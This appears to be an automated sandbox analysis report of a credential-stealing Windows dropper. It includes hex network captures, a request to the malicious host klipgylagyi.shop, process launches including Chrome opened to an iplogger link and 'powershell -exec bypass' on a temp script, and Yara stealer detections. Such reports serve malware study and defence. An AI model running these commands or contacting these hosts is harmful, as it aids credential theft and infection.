2025-01-11 08:26:33 UTC	16384	IN	Data Raw: ff 74 1f 83 c9 ff f0 0f c1 08 0f 95 c0 84 c0 75 11 8b 44 24 2c 6a 04 6a 02 50 e8 7a f0 7e 00 83 c4 0c 56 e8 61 18 85 00 83 c4 04 8b c7 8b 4c 24 18 64 89 0d 00 00 00 00 59 5f 5e 5b 83 c4 14 c3 cc cc cc cc cc cc cc cc cc 6a ff 68 61 e6 db 00 64 a1 00 00 00 00 50 83 ec 50 53 55 56 57 a1 80 ca 23 01 33 c4 50 8d 44 24 64 64 a3 00 00 00 00 c7 44 24 50 00 00 00 00 8b 4c 24 78 8b 51 04 8b 09 e8 d2 9a 97 00 a1 58 de 24 01 f2 0f 11 44 24 5c a8 01 75 1f 83 c8 01 c7 05 54 de 24 01 90 7a 05 01 68 e0 16 df 00 a3 58 de 24 01 e8 72 6d 97 00 83 c4 04 a1 54 de 24 01 83 cb ff 8b 48 0c 3b 48 08 0f 85 42 03 00 00 53 6a 00 68 c4 e0 e9 00 8d 44 24 40 68 70 dd e9 00 50 e8 2a 0b 80 00 89 44 24 5c 53 6a 00 68 c0 e0 e9 00 8d 44 24 50 c7 84 24 8c 00 00 00 01 00 00 00 68 70 dd e9 00 Data Ascii: tuD$,jjPz~VaL$dY_^[jhadPPSUVW#3PD$ddD$PL$xQX$D$\uT$zhX$rmT$H;HBSjhD$@hpP*D$\SjhD$P$hp
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc 51 ff 74 24 08 c7 44 24 04 00 00 00 00 e8 ae e7 ff ff 8b 44 24 08 59 c2 04 00 cc cc cc cc cc cc 6a ff 68 39 ed db 00 64 a1 00 00 00 00 50 51 56 a1 80 ca 23 01 33 c4 50 8d 44 24 0c 64 a3 00 00 00 00 c7 44 24 08 00 00 00 00 8b 01 8b 74 24 1c c7 44 24 14 00 00 00 00 8d 48 08 89 06 8b 01 85 c0 74 0e 83 f8 ff 74 09 b8 01 00 00 00 f0 0f c1 01 8b 06 f6 40 20 01 75 07 8b ce e8 70 b6 ff ff ff 74 24 20 8b ce c7 44 24 18 00 00 00 00 c7 44 24 0c 01 00 00 00 e8 95 b3 00 00 8b c6 8b 4c 24 0c 64 89 0d 00 00 00 00 59 5e 83 c4 10 c2 08 00 8b 54 24 04 8b 41 04 3b 42 04 7c 0d 7f 06 8b 01 3b 02 72 05 b0 01 c2 04 00 32 c0 c2 04 00 cc cc 6a ff 68 90 ed db 00 64 a1 00 00 00 00 50 83 ec 18 53 56 57 a1 80 ca 23 01 33 c4 50 8d 44 24 28 64 a3 00 00 00 00 Data Ascii: Qt$D$D$Yjh9dPQV#3PD$dD$t$D$Htt@ upt$ D$D$L$dY^T$A;B\|;r2jhdPSVW#3PD$(d
2025-01-11 08:26:33 UTC	16384	IN	Data Raw: 95 70 7e 00 83 c4 0c 8b 74 24 18 c6 84 24 a4 00 00 00 02 8b 06 85 c0 74 16 83 f8 ff 74 37 8b c7 f0 0f c1 06 0f 95 c0 84 c0 75 2a 8b 74 24 18 8b 46 0c 8d 4c 24 18 83 c0 04 8d 04 86 50 8b 46 08 83 c0 04 8d 04 86 50 e8 1d f9 fd ff 56 e8 f7 29 76 00 83 c4 04 8b 44 24 20 8b 08 85 c9 74 15 83 f9 ff 74 1d f0 0f c1 38 4f 0f 95 c0 84 c0 75 11 8b 44 24 20 6a 04 6a 02 50 e8 1b 70 7e 00 83 c4 0c 8d 4c 24 64 c6 84 24 a4 00 00 00 00 e8 07 b7 07 00 8b c3 8b 8c 24 9c 00 00 00 64 89 0d 00 00 00 00 59 5f 5e 5d 5b 81 c4 94 00 00 00 c2 10 00 cc cc cc cc cc cc cc cc cc 6a ff 68 50 f4 db 00 64 a1 00 00 00 00 50 83 ec 34 53 55 56 57 a1 80 ca 23 01 33 c4 50 8d 44 24 48 64 a3 00 00 00 00 8b f1 ff 74 24 58 8d 44 24 1c 50 e8 a9 55 00 00 c7 44 24 50 00 00 00 00 c7 44 24 14 90 7a 05 Data Ascii: p~t$$tt7u*t$FL$PFPV)vD$ tt8OuD$ jjPp~L$d$$dY_^][jhPdP4SUVW#3PD$Hdt$XD$PUD$PD$z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50019	188.114.96.3	443	2500	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:53 UTC	206	OUT	GET /int_clp_pan.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipgylagyi.shop
2025-01-11 08:26:53 UTC	804	IN	HTTP/1.1 403 Forbidden Date: Sat, 11 Jan 2025 08:26:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=csJwvUmbZnCS5827M7G2bc7SMkQMHMH0hRkBfR%2Bxcd%2FvNuxCN6hTEqTsFXjriT%2BZfp2pHQ2HJb8nteSD4wQ%2BHclFcLAcHlwOCV%2FFW64XvSOEYGpOgyj6hp5YL5bixcD1g8vD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900386423c4cc434-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1617&rtt_var=626&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2865&recv_bytes=820&delivery_rate=1719670&cwnd=196&unsent_bytes=0&cid=7662c1b626600c4e&ts=162&x=0"
2025-01-11 08:26:53 UTC	565	IN	Data Raw: 34 31 39 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 Data Ascii: 4197<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Forbidden</title>
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 23 74 65 78 74 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 25 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 31 72 65 6d 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 6d 61 69 6e 20 3e 20 73 65 63 74 69 6f 6e 20 3e 20 64 69 76 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 Data Ascii: flex; flex-wrap: wrap; align-items: center; justify-content: center; } #text { max-width: 60%; margin-left: 1rem; margin-right: 1rem; } main > section > div { margin-bottom: 3
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 Data Ascii: </p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <se
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 36 34 2e 30 32 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 37 36 2e 31 38 32 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 35 32 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 37 35 2e 39 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 35 33 5f 37 33 39 29 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 3d Data Ascii: DC" stroke-width="2" /> <rect x="64.026" y="76.1826" width="100.522" height="175.914" fill="url(#paint0_linear_53_739)" /> <rect x=
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 72 6f 75 6e 64 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3d 22 35 2e 31 31 20 35 2e 31 31 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 2d 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 34 36 2e 37 39 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 31 2e 32 34 39 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 78 3d 22 32 2e 34 30 37 39 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 6d 61 74 72 69 78 28 2d 31 Data Ascii: stroke-linejoin="round" stroke-dasharray="5.11 5.11" /> <rect x="-1" y="1" width="146.798" height="21.2497" rx="2.40792" transform="matrix(-1
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 32 31 35 2e 31 36 32 20 31 36 37 2e 33 38 31 43 32 31 34 2e 37 31 37 20 31 36 38 2e 38 32 32 20 32 31 33 2e 31 38 39 20 31 36 39 2e 36 32 38 20 32 31 31 2e 37 34 39 20 31 36 39 2e 31 38 33 43 32 31 30 2e 33 30 38 20 31 36 38 2e 37 33 38 20 32 30 39 2e 35 30 32 20 31 36 37 2e 32 31 20 32 30 39 2e 39 34 37 20 31 36 35 2e 37 37 43 32 31 30 2e 33 39 32 20 31 36 34 2e 33 33 20 32 31 31 2e 39 32 20 31 36 33 2e 35 32 33 20 32 31 33 2e 33 36 20 31 36 33 Data Ascii: " stroke="#0055DC" stroke-width="2" /> <path d="M215.162 167.381C214.717 168.822 213.189 169.628 211.749 169.183C210.308 168.738 209.502 167.21 209.947 165.77C210.392 164.33 211.92 163.523 213.36 163
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 32 36 36 2e 31 38 32 20 37 39 2e 32 38 39 43 32 36 36 2e 38 32 39 20 38 32 2e 38 36 39 37 20 32 37 30 2e 32 35 36 20 38 35 2e 32 34 38 33 20 32 37 33 2e 38 33 36 20 38 34 2e 36 30 31 37 43 32 37 37 2e 34 31 37 20 38 33 2e 39 35 35 31 20 32 37 39 2e 37 39 36 20 38 30 2e 35 32 38 32 20 32 37 39 2e 31 34 39 20 37 36 2e 39 34 37 35 43 32 37 38 2e 35 30 33 20 37 33 2e 33 36 36 38 20 32 37 35 2e 30 37 36 20 37 30 2e 39 38 38 32 20 32 37 31 2e 34 39 35 20 37 31 2e 36 33 34 38 43 32 36 37 2e 39 31 34 20 37 32 2e 32 38 31 33 20 32 36 35 2e 35 33 36 20 37 35 2e 37 30 38 32 20 32 36 36 2e 31 38 32 20 37 39 2e 32 38 39 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 Data Ascii: d="M266.182 79.289C266.829 82.8697 270.256 85.2483 273.836 84.6017C277.417 83.9551 279.796 80.5282 279.149 76.9475C278.503 73.3668 275.076 70.9882 271.495 71.6348C267.914 72.2813 265.536 75.7082 266.182 79.289Z" fill="#6ECCE5"
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 32 37 39 2e 32 35 37 20 39 30 2e 32 32 33 31 43 32 37 31 2e 35 32 32 20 39 31 2e 36 31 39 39 20 32 36 34 2e 31 31 38 20 38 36 2e 34 38 31 34 20 32 36 32 2e 37 32 32 20 37 38 2e 37 34 36 43 32 36 31 2e 33 32 35 20 37 31 2e 30 31 30 36 20 32 36 36 2e 34 36 33 20 36 33 2e 36 30 37 35 20 32 37 34 2e 31 39 39 20 36 32 2e 32 31 30 38 43 32 38 31 2e 39 33 34 20 36 30 2e 38 31 34 20 32 38 39 2e 33 33 37 20 36 35 2e 39 35 32 34 20 32 39 30 2e 37 33 34 20 37 33 2e 36 38 37 38 43 32 39 32 2e 31 33 31 20 38 31 2e 34 32 33 32 20 32 38 36 2e 39 39 32 20 38 38 2e 38 32 36 33 20 32 37 39 2e 32 35 37 20 39 30 2e 32 32 33 31 5a 4d 32 36 30 2e 32 39 39 20 37 39 2e 31 38 33 35 43 32 36 31 2e 39 33 38 20 38 38 2e 32 35 36 37 20 Data Ascii: d="M279.257 90.2231C271.522 91.6199 264.118 86.4814 262.722 78.746C261.325 71.0106 266.463 63.6075 274.199 62.2108C281.934 60.814 289.337 65.9524 290.734 73.6878C292.131 81.4232 286.992 88.8263 279.257 90.2231ZM260.299 79.1835C261.938 88.2567
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 39 20 32 35 2e 34 34 33 38 4c 32 34 35 2e 37 35 34 20 32 36 2e 30 38 33 39 4c 32 34 34 2e 33 31 34 20 31 38 2e 31 30 37 34 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 32 33 36 2e 33 32 36 20 32 39 2e 36 31 36 36 4c 32 34 34 2e 33 30 32 20 32 38 2e 31 37 36 33 4c 32 34 34 2e 39 34 33 20 33 31 2e 37 32 31 34 4c 32 33 36 2e 39 36 36 20 33 33 2e 31 36 31 37 4c 32 33 36 2e 33 32 36 20 32 39 2e 36 31 36 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 Data Ascii: 9 25.4438L245.754 26.0839L244.314 18.1074Z" fill="#0055DC" /> <path d="M236.326 29.6166L244.302 28.1763L244.943 31.7214L236.966 33.1617L236.326 29.6166Z" fill="#0055DC" /> <path
2025-01-11 08:26:53 UTC	1369	IN	Data Raw: 37 35 38 20 33 31 33 2e 39 36 32 20 31 36 31 2e 38 36 39 20 33 31 33 2e 34 36 31 20 31 38 30 2e 33 31 36 43 33 31 32 2e 39 35 36 20 31 39 38 2e 38 39 36 20 33 30 37 2e 30 35 31 20 32 31 37 2e 38 34 35 20 32 39 38 2e 33 39 36 20 32 33 31 2e 39 32 39 43 32 38 39 2e 35 30 39 20 32 34 36 2e 33 39 31 20 32 37 38 2e 39 33 35 20 32 35 33 2e 39 35 36 20 32 36 39 2e 37 34 20 32 35 33 2e 37 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 Data Ascii: 758 313.962 161.869 313.461 180.316C312.956 198.896 307.051 217.845 298.396 231.929C289.509 246.391 278.935 253.956 269.74 253.706Z" fill="white" stroke="#C5EBF5" stroke-width="12" /> <path

Target ID:	3
Start time:	03:25:53
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\4kN17cL4Tn.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\4kN17cL4Tn.exe"
Imagebase:	0x7ff7b67c0000
File size:	15'149'493 bytes
MD5 hash:	191294C00BE02E5BF0807DC1CF52C53A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:25:54
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe"
Imagebase:	0x400000
File size:	19'334'800 bytes
MD5 hash:	CBD9AE608AFDA66BA0D1DF907FEA0EAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 62%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:25:57
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0x7a0000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:25:57
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:25:59
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/15PRC4
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:26:00
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:29:44
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msiexec.exe
Imagebase:	0x740000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.1599080465.0000000002C87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.1599280706.0000000002C8C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:29:52
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	04:30:22
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe"
Imagebase:	0x7ff7edc20000
File size:	24'266'048 bytes
MD5 hash:	C57C4C4820D5161E30295446E163A41F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:30:23
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1"
Imagebase:	0x580000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:30:23
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34%
Total number of Nodes:	2000
Total number of Limit Nodes:	98

Executed Functions

Function 00007FF7B67CDC4C Relevance: 154.6, APIs: 22, Strings: 66, Instructions: 610
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF7B67CDCA3
LoadLibraryExW.KERNEL32 ref: 00007FF7B67CDDC3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CDE79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CDE7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CDE85
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67CDE8B
GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDEDC
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDEF4
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDF21

Strings

psapi.dll, xrefs: 00007FF7B67CDFD9
rasadhlp.dll, xrefs: 00007FF7B67CE1D3
apphelp.dll, xrefs: 00007FF7B67CE013
oleaccrc.dll, xrefs: 00007FF7B67CE0AD
comres.dll, xrefs: 00007FF7B67CDFB8
shell32.dll, xrefs: 00007FF7B67CE083
dhcpcsvc.dll, xrefs: 00007FF7B67CE1EF
cscapi.dll, xrefs: 00007FF7B67CE0F3
SSPICLI.DLL, xrefs: 00007FF7B67CDF60
userenv.dll, xrefs: 00007FF7B67CE021
cabinet.dll, xrefs: 00007FF7B67CE09F
netutils.dll, xrefs: 00007FF7B67CE147
shdocvw.dll, xrefs: 00007FF7B67CE03D
ieframe.dll, xrefs: 00007FF7B67CDFE4
kernel32, xrefs: 00007FF7B67CDED5
aclui.dll, xrefs: 00007FF7B67CE235
secur32.dll, xrefs: 00007FF7B67CE091
iphlpapi.DLL, xrefs: 00007FF7B67CE12B
atl.dll, xrefs: 00007FF7B67CDFFA
propsys.dll, xrefs: 00007FF7B67CE171
dhcpcsvc6.dll, xrefs: 00007FF7B67CE1E1
wkscli.dll, xrefs: 00007FF7B67CE1A9
peerdist.dll, xrefs: 00007FF7B67CE251
samlib.dll, xrefs: 00007FF7B67CE19B
version.dll, xrefs: 00007FF7B67CDF3F
slc.dll, xrefs: 00007FF7B67CE101
uxtheme.dll, xrefs: 00007FF7B67CE531
ntmarta.dll, xrefs: 00007FF7B67CE0BB
devrtl.dll, xrefs: 00007FF7B67CE163
WINNSI.DLL, xrefs: 00007FF7B67CE139
lpk.dll, xrefs: 00007FF7B67CDF97
dfscli.dll, xrefs: 00007FF7B67CE1B7
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF7B67CE5FF
mlang.dll, xrefs: 00007FF7B67CE17F
mpr.dll, xrefs: 00007FF7B67CE155
usp10.dll, xrefs: 00007FF7B67CDFA2
ntshrui.dll, xrefs: 00007FF7B67CDFEF
SetDefaultDllDirectories, xrefs: 00007FF7B67CDF17
clbcatq.dll, xrefs: 00007FF7B67CDFAD
linkinfo.dll, xrefs: 00007FF7B67CE20B
setupapi.dll, xrefs: 00007FF7B67CE005
ws2_32.dll, xrefs: 00007FF7B67CDFC3
ws2help.dll, xrefs: 00007FF7B67CDFCE
SetDllDirectoryW, xrefs: 00007FF7B67CDEEA
browcli.dll, xrefs: 00007FF7B67CE1C5
WindowsCodecs.dll, xrefs: 00007FF7B67CE0D7
sfc_os.dll, xrefs: 00007FF7B67CDF55
dsrole.dll, xrefs: 00007FF7B67CE243
rsaenh.dll, xrefs: 00007FF7B67CDF6B
XmlLite.dll, xrefs: 00007FF7B67CE1FD
cryptui.dll, xrefs: 00007FF7B67CE067
cryptsp.dll, xrefs: 00007FF7B67CE219
wintrust.dll, xrefs: 00007FF7B67CE075
